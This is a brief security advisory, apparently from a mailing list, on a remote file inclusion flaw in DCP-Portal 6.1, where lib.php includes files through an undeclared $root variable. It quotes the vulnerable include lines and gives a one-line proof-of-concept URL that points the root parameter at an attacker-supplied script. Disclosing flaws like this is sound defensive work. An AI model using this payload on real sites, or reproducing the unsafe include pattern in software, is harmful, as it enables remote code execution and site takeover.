[UNIX] DCP-Portal Command Execution

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DCP-Portal Command Execution
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SUMMARY

" <http://www.dcp-portal.org/> DCP-Portal is a Content Management System
(written in PHP, using MySql database)"

Improper input filtering allows attackers to execute PHP commands.

DETAILS

Vulnerable Systems:
* DCP-Portal version 6.1

DCP-Portal does not declare the $root variable at the lib.php file,
allowing attackers to execute PHP code.

Code Snips:
Error occured in lib.php, line 4/7:

include ("$root/library/lib_nav.php");
include ("$root/library/lib_mods.php");
include ("$root/library/lib_admin.php");
include ("$root/library/lib_3rd.php");

variable $root is not declared.

Proof of Concept:
http://example/[dp_path]/library/lib.php?root=[cmd_url]


ADDITIONAL INFORMATION

The information has been provided by <mailto:federico@xxxxxxxxxxxxx>
Federico Fazzi.



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